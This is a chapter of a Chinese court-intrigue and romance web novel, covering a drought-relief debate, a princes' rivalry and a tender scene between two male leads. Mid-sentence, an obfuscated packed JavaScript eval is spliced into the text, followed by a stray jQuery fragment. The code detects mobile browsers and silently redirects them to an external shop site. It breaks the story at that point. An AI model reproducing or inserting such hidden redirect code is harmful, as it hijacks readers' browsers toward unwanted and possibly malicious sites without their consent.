“皇上,臣有奏!”,李御史持着玉板上前禀奏,“前阵子葛州大旱连月,处境艰难,户部送去的五万两赈灾银已悉数用尽,但灾情仍未缓解,流民遍地,饿殍遍野,百姓如今只能食草根、树皮以做‘救命粮’,灾地官员上书陈情,烦请圣上再拨些赈灾银两!”
昭德帝拿起高公公递来的奏折看了看,眉心的皱痕越来越深,他问李御史道:“有估算还需多少银两吗?”
李御史道:“灾地官员有估算过,约莫还需至少三十万两。”
昭德帝神色一顿,他把奏折放到桌案上,又把上头的内容看了一遍,抬头问户部尚书陈大人道:“户部,可拿的出来?”
被点到名的陈大人面带难色的出列,道:“皇上,户部约莫只能拿出……拿出十万两。”话说到后头,声音越来越低。
周围官员低垂着的面上明显都惊了一下,但谁都不敢在这时候表现出来。
昭德帝一愣,身子往前倾了倾,双手撑在桌案上道:“只拿得出十万两?之前抄没的银子,这几年各州府上交的税银呢?哪去了?”
陈大人是有苦难言,他叹了口气,拱手道:“皇上,并非是臣不想给银子,前些日子筹备万寿节,花费了就有三千万两,再加上前朝后宫各项开支,还有陛下您的皇陵也正在营建,那银子都已经拨出去了,若是可以,臣也想一文钱掰成两文花,但如今实在是捉襟见肘啊。”
昭德帝闻言有些难堪,他坐回了身,对底下官员道:“诸位爱卿可有何好办法解眼下之困啊?”
一官员出言道:“不若让葛州周围的其他州府接济一下?”
李御史摇头道:“不成,此次旱灾时间之长,范围之广,葛州周围不少州郡都或多或少受了些影响,如今也是自顾不暇。”
“且若让他们接济,到时候流民四散,要是哪一处没处理好,百姓被逼急了是什么都做得出来的,一旦出了问题,可就不好办了。”
另一官员道:“不若将葛州百姓迁到通州,通州府大且两州相隔不远不近,先熬过旱灾再说。”
李御史不赞同,又摇头道:“如今的情况,等走到通州,怕是已经死了一半的百姓了,都是远水解不了近渴。”
台下官员议论纷纷。
昭德帝拍了拍龙椅道:“实在不行,先将营建皇陵之事往后挪挪,得先解了目前的燃眉之急。”
太子出列,拱手劝道:“父皇,营建皇陵事关国本也是重中之重,儿臣私库还有十万两银子,自愿捐给葛州百姓,其余的再凑一凑应是可以凑齐的。”
昭德帝沉默思忖,明显有些心动。
听了许久,萧瑾舟出列提议道:“皇上,下官觉着筹集银子是一方面,但到底只解一时之需,银子若是不足,不若换成赈灾粮,十万两银子加上三万石粮食如何?”
“其次,再让灾地官员鼓励当地乡绅富商踊跃捐银捐粮,承诺等旱灾一解,朝廷会给他们一个‘义商’的名头,免他们一年商税,商人重利也爱名,更何况是朝廷给的名,想来愿意的人应当不会少。”
昭德帝听着不自觉坐直了身,点点头觉得这不失为一个好办法。
李御史一听,眼眸一亮,他拱手对昭德帝道:“臣觉着承恩侯这办法可行,可一试。”
昭德帝道:“那就按承恩侯所言,安排下去。”
此时三皇子景钰,也出列道:“父皇,儿臣还有个想法,眼下这燃眉之急虽已解,但如今尚不知旱灾何时过去,不若在此基础上以工代赈,让灾民参与修建灌溉渠道、水井、大坝,再改耕种些耐旱的粮食,以做长久之计。”
昭德帝对三皇子之言很满意,他笑意渐大,欣慰道:“三皇子说的也是言之有理,那就一并安排下去吧。”
太和殿外,太子走到景钰身侧,似笑非笑道:“三皇兄,第一天上朝听政就出了大风头啊,让孤这个做弟弟的好生羡慕。”
景钰负手转头对太子道:“什么风不风头的,不都是为百姓请命,为父皇分忧吗?更何况太子不也是为了葛州百姓,要捐出私库的十万两银子?”
太子眉心微皱,脱口道:“孤何时……”
景钰打断话头,意味深长道:“太子刚刚可是在殿上说了,自愿为葛州百姓捐出十万两,父皇和朝臣们都听着呢,若是到最后没捐……哎,这不仅面上过不去,还会影响皇室威信啊。”
太子拍开景钰的手,他看着眼前这张假仁假义的脸,冷哼一声,咬牙切齿道:“捐,怎能不捐,孤一诺千金,不需三皇兄提点。”
景钰理了理袖子,笑的和煦温润,道:“太子言重了,说不上提点,我们是兄弟,兄弟之间总是要互相帮忙,互相照应的。”
“若无事,我就先走了,不打扰太子……回府凑银子了。”
说罢他从容一笑,抬手作了一礼,转身便走了,一举一动恭敬得体,独留太子在原地憋气窝火,消化满腔怒意。
下朝后,官员们一齐离开太和殿往宫门口走去,萧瑾舟揉了揉太阳穴,他昨晚又梦魇了,整夜没睡好,今日疲惫得很,想回府再好好休息一下,正走着恍然间听到前头两位官员好似说到了恒王,他提起精神加快了几步,想要听的更清楚些。
“诶,你听说了吗,昨儿恒王殿下摔断了手。”
“啊?好端端的手怎么摔断了?”
“我听说啊,是昨儿恒王坐马车回府,那马不知怎的突然发起了疯,四处狂奔乱窜,车夫拉都拉不住还被甩下了车,那恒王在里头也出不来啊,到最后是连人带车厢翻了个身,直接摔断了右手,啊还闪了腰呢,据说那日周围几户人家都听见了,说恒王疼的嗷嗷叫了一整晚!”
“啊,这也太惨了,这恒王殿下也太倒霉了。”
……
萧瑾舟缓步走在这两个闲聊的官员身后,在听到恒王右手断了时也是怔愣了一下,他垂眸看着地面思忖,难道有谁要害恒王,或是太子……
走动间,笛穗子摇晃到他眼前,玉石与腰带相撞,叮铃当啷,让他思绪一顿,他摩挲着那玉海棠,莫不是……
魏清掀开车帘子对萧瑾舟道:“那侯爷,咱们就一径回府了。”
萧瑾舟坐好身,道:“不了,去听雨楼吧。”
魏清疑惑道:“侯爷今早不是说不舒服,要早些回府休息吗?”
萧瑾舟浅笑摸着玉海棠,道:“去听雨楼休息也一样。”
魏清道:“是。”
魏君泽从账本里抬起头,他一手捂着后脖颈,闭眼转了转酸胀的脖子,听见滴滴答答的声音,望向窗外,不知何时竟下起了雨。
正看的愣神时,魏廉敲门道:“主子,侯爷来了。”
门唰的一下被打开,魏廉还没反应过来,魏君泽就跟阵风似的飞到楼下去了。
魏君泽到门口时,萧瑾舟正站在屋檐下,抖着袖子上沾到的水珠,“生春,你来了!”
这雨下的不大但雾气重得很,潮湿闷热,衣服贴在身上黏腻腻的,萧瑾舟用袖子擦了擦下颚,有些烦躁道:“早知要下雨便不过来了。”
魏君泽伸手把萧瑾舟拉进楼内,边走边道:“是啊,下雨了就不要过来了,你找人知会我一声,我去找你就成了。”
萧瑾舟恹恹道:“嗯。”
来到雅室,魏君泽让萧瑾舟先坐下,自己则进了内室,再出来时他手里多了套绛红色的衣袍,“是不是身上黏糊的不舒服,我这里只有这套衣裳,干净的,要不先换上舒服些。”
萧瑾舟怔怔伸手接过那衣袍放在腿上,明明什么都没说……“多谢。”
魏君泽看萧瑾舟只把衣袍放在腿上盯着看,却没有要起身的打算,他想了想,道:“啊,我让人打点水给你擦擦吧,身上黏糊着换衣裳也没用,你等等。”
萧瑾舟抬头对魏君泽轻笑,“好。”
“魏廉!”魏君泽走到雅室门口,对着走廊另一头的魏廉招手,“过来。”
魏廉小跑过去,道:“何事啊,主子。”
魏君泽道:“去打盆热水来,生春要擦擦身。”
要不说看的画本子多的能堆成小山呢,魏廉小脸一红,心想:“这,这,主子和侯爷发展的也太快了吧,我这不就是成了画本子里说的给主子事后烧水伺候的陪嫁小厮嘛,天哪!”
魏君泽看魏廉呆在原地像个蚯蚓似的扭来扭去,脸也红的不正常,道:“你怎么了,癔症了?”
“没,没。”,魏廉抹了把
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17514758|202080||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
脸,忙摆手,挪着步子道:“哈哈热的,热的,哈哈这天咋这么热,我马上去打水,马上!”
“时序,我换好了。”萧瑾舟的声音从内室传来,魏君泽推门而入,只一眼就把他钉在了原地,他只见过萧瑾舟穿素色衣袍,没想到他穿绛红色也这般合适好看,乌发雪肤映红衫,擦洗时沾湿的发丝有几根还黏在了脸颊和脖颈上。
蛊惑人心的妖孽!
魏君泽有些想把门锁起来,不能让别人瞧见萧瑾舟这副模样。
他捏了下大腿肉,觉着自己真是昏了头了,道:“稍大了些,穿着可有不舒服?”
萧瑾舟道:“没有,很舒服。”,他说着还垂眸闻了闻袖子,道:“还有股淡淡的茶香,很好闻。”
才回神没多久,魏君泽又被这动作给勾了魂,鼻头一热,连呼吸都急促了一瞬,忍不住吞咽了几下,娘的穿了红衣的萧瑾舟更像成了精的狐狸了!
“那便好。”,魏君泽强迫自己移开眼,有些僵硬的扶着桌子坐下,道:“生春你今日突然来是有何事吗?”
萧瑾舟头靠在床架上,道:“不是你之前说的,无事也可以来吗?怎么只是说说而已吗?”
魏君泽道:“不是,我说的都是真的,你什么时候都可以来,想来就来。”
“嗯。”,萧瑾舟浅笑看着魏君泽,抬起手指在他脑袋上虚虚画了两只耳朵,漫不经心道:“那事是你做的吗?”
魏君泽心里一明,知道萧瑾舟是为何事而来了,他有些没好气道:“手不干净,断了算轻的,下回直接剁了。”
萧瑾舟手指缓缓移到魏君泽身后,又虚虚画了条大尾巴,道:“命得留着,还指着他膈应太子呢。”
魏君泽道:“放心,我有分寸的,不会误了事儿。”
他转头看萧瑾舟懒懒的靠在床架上,道:“累了?”
萧瑾舟眉头微拧,闭着眼道:“今早起来便有些头疼,该是昨晚没睡好。”
“你……”,突然身子一轻,还没等萧瑾舟反应过来就被魏君泽放倒,头枕在他的腿上,太阳穴被一双干燥温暖的大手点揉按压,力道适中。
魏君泽道:“我给你按按,这样会好点吗?”
萧瑾舟怔愣一瞬,盯了魏君泽的下巴一会儿,又闭上了眼,失笑道:“确实好了些,时序的手法真好,可是在哪个花楼和哪位姑娘学的?”
魏君泽的手一顿,“什么花……”,啊记起来了是那日恒王说他之前流连花楼的事被萧瑾舟给听进去了,“我没……”
他不知怎么有些心虚,又有些急切想解释,道:“我是之前和那些狐朋狗友去,去了好几次那种地方,但我什么也没干,清清白白的,我就只喝喝酒!”
萧瑾舟微睁开眼看着魏君泽,头往里侧转了转,有些好奇道:“时序你这个年纪了,家里没有给你安排个通房吗?”
温热的鼻息透过衣衫扑撒到了魏君泽的小腹上,竟然有些……
魏君泽大腿一抖,羞臊气愤道:“你故意的!”
萧瑾舟眸子一垂,拖长语调,悠悠道:“看来是没有啊,火气这么大。”
魏君泽双手扶住萧瑾舟的脸,把他的头摆正,揉按太阳穴的速度快了不少但依旧轻柔有度,他咬着牙,有些气道:“累了就闭上眼,闭上嘴,好好休息一会儿!你真是我祖宗!”
萧瑾舟没忍住闷闷笑了几声,魏君泽恼道:“那你呢?你有没有?”
萧瑾舟闭眼享受的揉按,浅笑缓缓道:“流放之前还小自是没有,流放之后倒是我还得小心着不让自己变成人家的‘通房’,哈哈。”
轻描淡写的话像厚重的积雪迎头而下,把魏君泽刚刚起来的那股火瞬时熄灭,化出的冰水顺着头顶流向四肢百骸,平静迟缓却足够砭人肌骨。
他手下动作慢了下来,想却不敢问萧瑾舟是怎么熬过那三年的岁月,是啊,他这般样貌放在那野蛮之地该有多么艰难,寒意渗入骨髓,又恶劣的凝成一排排冰针扎进魏君泽的心头,看不见伤口,却疼得厉害也拔不出来。
半晌过后,萧瑾舟呼吸平缓,已然睡了过去,魏君泽一手轻柔的抚了抚萧瑾舟的额头,一手轻拍着他的肩侧,喃喃细语道:“好好睡吧。”